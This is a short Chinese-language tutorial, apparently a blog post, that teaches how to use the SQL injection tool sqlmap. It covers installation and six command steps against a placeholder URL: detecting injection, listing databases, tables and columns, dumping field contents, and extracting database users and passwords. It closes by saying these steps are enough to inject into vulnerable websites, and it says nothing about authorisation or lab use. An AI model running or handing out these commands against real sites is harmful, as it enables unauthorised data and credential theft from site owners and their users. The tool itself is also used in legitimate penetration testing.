通常来说,验证一个页面是否存在注入漏洞比较简单,而要获取数据,扩大权限,则要输入很复杂的SQL语句,有时候我们还会对大量的URL进行测试,这时就需要用到工具来帮助我们进行注入了。

目前流行的注入工具有sqlmap,pangolin,还有国产工具例如阿d,明小子,超级SQL注入这些工具。这些工具的功能都大同小异。

什么是sqlmap

sqlmap是用python写的一个注入工具,在所有注入工具中排名第一,今天主要介绍一下sqlmap的使用。

sqlmap的强大功能包括数据库指纹识别,数据库枚举,数据提取,访问目标文件系统,可以在获取完全的操作权限时实行任意命令。

sqlmap的安装

sqlmap是一个命令行下的工具,且安装需要python环境(只支持python2),因此我们需要先下载python环境,并添加到环境变量中。

然后下载最新版的sqlmap(官网http://www.sqlmap.org)需要下载到Python的目录下,然后打开命令行,便可正常使用。

sqlmap入门

1.判断是否存在注入

目标注入点为http://xxx.com/index.php?id=1这种传入参数的命令为  sqlmap.py -u http://xxx.com/index.php?id=1 便可以自动进行检测,另外如果传入的参数有大于等于两个时,需要将URL使用双引号括起来。

除了直接检测URL外,sqlmap还可以从文本中获取HTTP请求,所以我们可以用burpsuit将HTTP请求抓包,然后保存到本地为TXT文件,然后使用sqlmap来进行测试,具体命令为sqlmap -r 文件路径和文件名,

这种一般用来检测post注入和HTTP头注入。

2.查询当前用户下的所有数据库

sqlmap.py -u http://xxx.com/index.php?id=1 --dbs

3.获取数据库的表名

sqlmap.py -u http://xxx.com/index.php?id=1 -D 数据库名 --tables

这个命令可以查询指定数据库中的所有表名。

4.获取表中的字段名

sqlmap.py -u http://xxx.com/index.php?id=1 -D 数据库名 -T 表名 --columns

5.获取字段的内容

sqlmap.py -u http://xxx.com/index.php?id=1 -D 数据库名 -T 表名 -C 字段名 --dump

6.获取数据库的所有用户和用户的密码

sqlmap.py -u http://xxx.com/index.php?id=1” --users

sqlmap.py -u http://xxx.com/index.php?id=1” --passwords

一般学会了这六个步骤,便可以用sqlmap对存在注入漏洞的网站进行注入。

05-18 17:22